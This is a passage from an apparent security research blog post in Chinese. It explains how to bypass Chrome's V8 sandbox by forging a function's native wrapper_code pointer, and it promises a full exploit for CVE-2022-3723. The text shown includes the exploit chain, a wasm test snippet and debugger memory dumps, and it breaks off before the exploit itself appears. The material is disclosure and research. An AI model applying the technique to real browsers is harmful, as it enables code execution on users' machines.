0px;font-weight: bolder;">GitHub</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://github.com/NumenCyber" target="_blank">https://github.com/NumenCyber</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Twitter</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://twitter.com/@numencyber" target="_blank">https://twitter.com/@numencyber</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Medium</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://medium.com/@numencyberlabs" target="_blank">https://medium.com/@numencyberlabs</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">LinkedIn</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://www.linkedin.com/company/numencyber/" target="_blank">https://www.linkedin.com/company/numencyber/</a></span></section><p><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;background-color: rgb(255, 255, 255);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486077">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ac85545c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486077%26idx%3D1%26sn%3Dbd18f4cf257b013f1b571c8a8964c190%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 04 Oct 2023 11:10:00 +0800</pubDate>
    </item>
    <item>
      <title>Numen独家: 利用函数原生指针绕过最新版V8沙箱 (附在野 exp CVE-2022–3723)</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486067&amp;idx=1&amp;sn=29987f89315057b4f8a25e0fa2127161</link>
      <description>CVE-2022-3723(issue1378239)是谷歌发现的在野漏洞，然而至今该issue仍未公开。我们以此为例阐述如何绕过最新Chrome v8沙箱，并将该CVE完整exp公开。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Numen cyber labs</span> <span>2023-08-04 16:08</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>CVE-2022-3723(issue1378239)是谷歌发现的在野漏洞，然而至今该issue仍未公开。我们以此为例阐述如何绕过最新Chrome v8沙箱，并将该CVE完整exp公开。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8e53f861&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0dAhKSgFgtnbdWTySMmE22uleF4Pra7Oad2icsLiaV5MxTDRO4lC1r0HYSxO0eEVUbibKbESzDba1Kmw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5361111111111111" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2ddaf233&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0dAhKSgFgtnbdWTySMmE22uNyUoGwdhLKXpj2gIZpnHX7CraOfIQ1PPsKLTicnna1oaVP7UUjre9Hg%2F640%3Fwx_fmt%3Dpng"/></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><strong style="outline: 0px;visibility: visible;"><span style="outline: 0px;font-size: 18px;visibility: visible;">0x00 - 引言</span></strong></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-size: 15px;visibility: visible;">2023年7月21日，@5aelo发布了一篇新的关于v8沙箱的公开讨论文档：<span style="outline: 0px;text-decoration: underline;visibility: visible;">函数指针封装</span>。<span style="outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;visibility: visible;">鉴于该绕过未来将会被Chrome封装指针修复，本文公开讨论如何利用Function的native指针绕过Chrome最新版v8沙箱。</span></span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-size: 15px;visibility: visible;"><span style="outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;visibility: visible;">关于v8沙箱的来源及其进展，我们可以参考之前的一些文档。这里仅简单列表。V8 Sandbox - High-Level Design主要讲解了顶层的设计思路。V8 Sandbox - External Pointer Sandboxing主要讨论了外部指针表的设计，如何实现内存安全的方式访问V8沙箱之外的对象。高版本的Chrome漏洞利用，v8沙箱成为不得不考虑的缓解绕过。与以往类似，本文将深入讨论绕过思路和实现，并结合在野漏洞CVE-2022-3723(issue1378239)实现弹出计算器。</span><span style="outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;color: rgb(255, 0, 0);visibility: visible;">目前该issue仍旧处于锁定状态</span><span style="outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;visibility: visible;">。</span></span></p><p style="outline: 0px;visibility: visible;"><span style="font-size: 15px;outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;visibility: visible;"><strong style="outline: 0px;color: rgb(48, 56, 65);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-size: 18px;visibility: visible;">0x01 - Function对象</span></strong></span></p><p style="outline: 0px;visibility: visible;"><span style="outline: 0px;font-size: 15px;">在撰写exp的时候，一般是从对象破坏到任意读写，最后到代码执行。v8增加了沙箱后，基本思路应该是：</span></p><p style="outline: 0px;"><span style="outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">对象破坏-&gt;<span style="outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;color: rgb(255, 0, 0);">相对任意读写-&gt;绕过沙箱</span>-&gt;代码执行</span></p><p style="outline: 0px;"><span style="outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">这里我们需要关注的就是从如何从相对任意读写到绕过沙箱。Javascript中的函数对象，正好具备这个特征。Function本身是一个对象，同时Function还可以实现执行代码。也就是说，它是对象到执行的一个桥梁。</span></p><p style="outline: 0px;"><span style="outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">如下是Function对象的数据结构：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">&lt;!--测试源码--&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">var</span> wasmCode = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Uint8Array</span>([<span class="code-snippet__number">0</span>, <span class="code-snippet__number">97</span>, <span class="code-snippet__number">115</span>, <span class="code-snippet__number">109</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">133</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">96</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">127</span>, <span class="code-snippet__number">3</span>, <span class="code-snippet__number">130</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">4</span>, <span class="code-snippet__number">132</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">112</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">5</span>, <span class="code-snippet__number">131</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">6</span>, <span class="code-snippet__number">129</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">7</span>, <span class="code-snippet__number">145</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">6</span>, <span class="code-snippet__number">109</span>, <span class="code-snippet__number">101</span>, <span class="code-snippet__number">109</span>, <span class="code-snippet__number">111</span>, <span class="code-snippet__number">114</span>, <span class="code-snippet__number">121</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">4</span>, <span class="code-snippet__number">109</span>, <span class="code-snippet__number">97</span>, <span class="code-snippet__number">105</span>, <span class="code-snippet__number">110</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">10</span>, <span class="code-snippet__number">138</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">132</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">65</span>, <span class="code-snippet__number">42</span>, <span class="code-snippet__number">11</span>]);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">var</span> wasmModule = <span class="code-snippet__keyword">new</span> WebAssembly.Module(wasmCode);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">var</span> wasmInstance = <span class="code-snippet__keyword">new</span> WebAssembly.Instance(wasmModule);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">var</span> f = wasmInstance.exports.main;</span></code><code><span class="code-snippet_outer">%DebugPrint(f);</span></code></pre></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer">DebugPrint: <span class="code-snippet__number">0x1f</span>290011c161: [Function] in OldSpace</span></code><code><span class="code-snippet_outer"> - <span class="code-snippet__keyword">map</span>: <span class="code-snippet__number">0x1f</span>29001138b9 &lt;Map[<span class="code-snippet__number">28</span>](HOLEY_ELEMENTS)&gt; [FastProperties]</span></code><code><span class="code-snippet_outer"> - prototype: <span class="code-snippet__number">0x1f</span>2900104275 &lt;JSFunction (sfi = <span class="code-snippet__number">0x1f29000c8ef</span>9)&gt;</span></code><code><span class="code-snippet_outer"> - elements: <span class="code-snippet__number">0x1f</span>2900000219 &lt;FixedArray[<span class="code-snippet__number">0</span>]&gt; [HOLEY_ELEMENTS]</span></code><code><span class="code-snippet_outer"> - function prototype: &lt;no-prototype-slot&gt;</span></code><code><span class="code-snippet_outer"> - shared_info: <span class="code-snippet__number">0x1f</span>290011c135 &lt;SharedFunctionInfo js-to-wasm::i&gt;</span></code><code><span class="code-snippet_outer"> - name: <span class="code-snippet__number">0x1f</span>2900002785 &lt;String[<span class="code-snippet__number">1</span>]: #<span class="code-snippet__number">0</span>&gt;</span></code><code><span class="code-snippet_outer"> - builtin: JSToWasmWrapper</span></code><code><span class="code-snippet_outer"> - formal_parameter_count: <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer"> - kind: NormalFunction</span></code><code><span class="code-snippet_outer"> - context: <span class="code-snippet__number">0x1f2900103c0d</span> &lt;NativeContext[<span class="code-snippet__number">281</span>]&gt;</span></code><code><span class="code-snippet_outer"> - code: <span class="code-snippet__number">0x1f</span>2900303979 &lt;Code BUILTIN JSToWasmWrapper&gt;</span></code><code><span class="code-snippet_outer"> - Wasm instance: <span class="code-snippet__number">0x1f290011bf</span>69 &lt;Instance <span class="code-snippet__keyword">map</span> = <span class="code-snippet__number">0x1f</span>290011a605&gt;</span></code></pre></section><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 11pt;font-family: Arial, sans-serif;color: rgb(0, 0, 0);font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;vertical-align: baseline;white-space-collapse: preserve;">hex数据如下</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">0x1f290011c100</span>        <span class="code-snippet__string">00000000 00040E40 00001E95 0011C0F1</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">0x1f290011c110</span>        <span class="code-snippet__string">00303979 00000000 0011BF69 00000000</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">0x1f290011c120</span>        <span class="code-snippet__string">000007D0 002B1A65 00000000 00000002</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">0x1f290011c130</span>        <span class="code-snippet__string">00040E60 00000D8D 0011C109 00002785</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">0x1f290011c140</span>        <span class="code-snippet__string">0000026D 0011BED1 00010000 00000000</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">0x1f290011c150</span>        <span class="code-snippet__string">00000000 FFFFFFFF 0000031B 00000000</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">0x1f290011c160</span>        <span class="code-snippet__string">001138B9 00000219 00000219 00057400</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">0x1f290011c170        0011C135 00103C0D 000C22F9 00000061</span></span></code></pre></section><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-wrap: wrap;background-color: rgb(255, 255, 255);letter-spacing: 0.578px;"><strong style="outline: 0px;color: rgb(48, 56, 65);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: left;"><span style="outline: 0px;font-size: 18px;">0x02 - RIP 劫持</span></strong></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-wrap: wrap;background-color: rgb(255, 255, 255);letter-spacing: 0.578px;"><span style="outline: 0px;font-size: 15px;"><span style="outline: 0px;letter-spacing: 0.578px;font-family: Arial, sans-serif;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;vertical-align: baseline;white-space-collapse: preserve;color: rgb(255, 76, 65);">0x1f290011c160</span><span style="outline: 0px;letter-spacing: 0.578px;color: rgb(0, 0, 0);font-family: Arial, sans-serif;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;white-space-collapse: preserve;vertical-align: baseline;">是对象起始地址，</span><span style="outline: 0px;letter-spacing: 0.578px;font-family: Arial, sans-serif;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;white-space-collapse: preserve;vertical-align: baseline;color: rgb(172, 57, 255);">0x1f290011C135</span><span style="outline: 0px;letter-spacing: 0.578px;color: rgb(0, 0, 0);font-family: Arial, sans-serif;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;white-space-collapse: preserve;vertical-align: baseline;">是shared_info对象，我们查看该对象详情</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__number">0x1f290011c135</span>: [SharedFunctionInfo] <span class="code-snippet__keyword">in</span> OldSpace</span></code><code><span class="code-snippet_outer"> - map: <span class="code-snippet__number">0x1f2900000d8d</span> &lt;Map[<span class="code-snippet__number">44</span>](SHARED_FUNCTION_INFO_TYPE)&gt;</span></code><code><span class="code-snippet_outer"> - name: <span class="code-snippet__number">0x1f2900002785</span> &lt;<span class="code-snippet__built_in">String</span>[<span class="code-snippet__number">1</span>]: #<span class="code-snippet__number">0</span>&gt;</span></code><code><span class="code-snippet_outer"> - kind: NormalFunction</span></code><code><span class="code-snippet_outer"> - syntax kind: AnonymousExpression</span></code><code><span class="code-snippet_outer"> - <span class="code-snippet__function"><span class="code-snippet__keyword">function</span><span class="code-snippet__title">_map_index</span>: 204</span></span></code><code><span class="code-snippet_outer"> - <span class="code-snippet__title">formal_parameter_count</span>: 0</span></code><code><span class="code-snippet_outer"> - <span class="code-snippet__title">expected_nof_properties</span>: 0</span></code><code><span class="code-snippet_outer"> - <span class="code-snippet__title">language_mode</span>: <span class="code-snippet__title">sloppy</span></span></code><code><span class="code-snippet_outer"> - <span class="code-snippet__function"><span class="code-snippet__keyword">function</span><span class="code-snippet__title">_data</span>: 0<span class="code-snippet__title">x1f290011c109</span> &lt;<span class="code-snippet__title">Other</span> <span class="code-snippet__title">heap</span> <span class="code-snippet__title">object</span> (<span class="code-snippet__params">WASM_EXPORTED_FUNCTION_DATA_TYPE</span>)&gt;</span></span></code><code><span class="code-snippet_outer"> - <span class="code-snippet__title">code</span> (<span class="code-snippet__params"><span class="code-snippet__keyword">from</span> function_data</span>): 0<span class="code-snippet__title">x1f2900303979</span> &lt;<span class="code-snippet__title">Code</span> <span class="code-snippet__title">BUILTIN</span> <span class="code-snippet__title">JSToWasmWrapper</span>&gt;</span></code><code><span class="code-snippet_outer">…</span></code><code><span class="code-snippet_outer">…</span></code></pre></section><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;"><span style="outline: 0px;color: rgb(0, 0, 0);font-family: Arial, sans-serif;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;letter-spacing: 0.578px;white-space-collapse: preserve;vertical-align: baseline;">从SharedFunctionInfo可以看到对象function_data，地址是</span><span style="outline: 0px;font-family: Arial, sans-serif;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;letter-spacing: 0.578px;white-space-collapse: preserve;vertical-align: baseline;color: rgb(217, 33, 66);">0x1f290011c109</span><span style="outline: 0px;color: rgb(0, 0, 0);font-family: Arial, sans-serif;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;letter-spacing: 0.578px;white-space-collapse: preserve;vertical-align: baseline;">，然后解析该对象如下：</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code style="outline: 0px;"><span class="code-snippet_outer" style="outline: 0px;"><span class="code-snippet__number" style="outline: 0px;">0x1f</span>290011c109: [WasmExportedFunctionData] in OldSpace</span></code><code style="outline: 0px;"><span class="code-snippet_outer" style="outline: 0px;"> - <span class="code-snippet__keyword" style="outline: 0px;">map</span>: <span class="code-snippet__number" style="outline: 0px;">0x1f</span>2900001e95 &lt;Map[<span class="code-snippet__number" style="outline: 0px;">44</span>](WASM_EXPORTED_FUNCTION_DATA_TYPE)&gt;</span></code><code style="outline: 0px;"><span class="code-snippet_outer" style="outline: 0px;"> - internal: <span class="code-snippet__number" style="outline: 0px;">0x1f290011c0f</span>1 &lt;Other heap object (WASM_INTERNAL_FUNCTION_TYPE)&gt;</span></code><code style="outline: 0px;"><span class="code-snippet_outer" style="outline: 0px;"> - wrapper_code: <span class="code-snippet__number" style="outline: 0px;">0x1f</span>2900303979 &lt;Code BUILTIN JSToWasmWrapper&gt;</span></code><code style="outline: 0px;"><span class="code-snippet_outer" style="outline: 0px;"> - js_promise_flags: <span class="code-snippet__number" style="outline: 0px;">0</span></span></code></pre></section><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">虽然在解析的时候能很快看到<span style="outline: 0px;color: rgb(217, 33, 66);">0x1f2900303979</span>，但在内存中可以看到，是倒序出现的。这个问题应该可以通过对布局的小技巧实现固定排序。这里需要讨论的便是wrapper_code。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">在最新版的v8中我们可以看到它是只读属性</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code style="outline: 0px;"><span class="code-snippet_outer" style="outline: 0px;">(gdb) vmmap 0x1f2900303979</span></code><code style="outline: 0px;"><span class="code-snippet_outer" style="outline: 0px;">[ Legend:  Code | Heap | Stack ]</span></code><code style="outline: 0px;"><span class="code-snippet_outer" style="outline: 0px;"><span class="code-snippet__keyword" style="outline: 0px;">Start</span>              <span class="code-snippet__keyword" style="outline: 0px;">End</span>                <span class="code-snippet__keyword" style="outline: 0px;">Offset</span>             Perm <span class="code-snippet__keyword" style="outline: 0px;">Path</span></span></code><code style="outline: 0px;"><span class="code-snippet_outer" style="outline: 0px;"><span class="code-snippet__number" style="outline: 0px;">0x00001f2900300000</span> <span class="code-snippet__number" style="outline: 0px;">0x00001f2900318000</span> <span class="code-snippet__number" style="outline: 0px;">0x0000000000000000</span> r<span class="code-snippet__comment" style="outline: 0px;">-- </span></span></code></pre></section><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">不过没关系，我们可以伪造这个对象。如下是我们在最新版Chr<span style="outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">ome115.0.5790.170中的测试：</span></span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-ratio="0.5475956820412169" width="602" data-type="png" data-w="1019" height="329" style="outline: 0px;color: rgb(0, 0, 0);font-family: Arial, sans-serif;font-size: 11pt;letter-spacing: 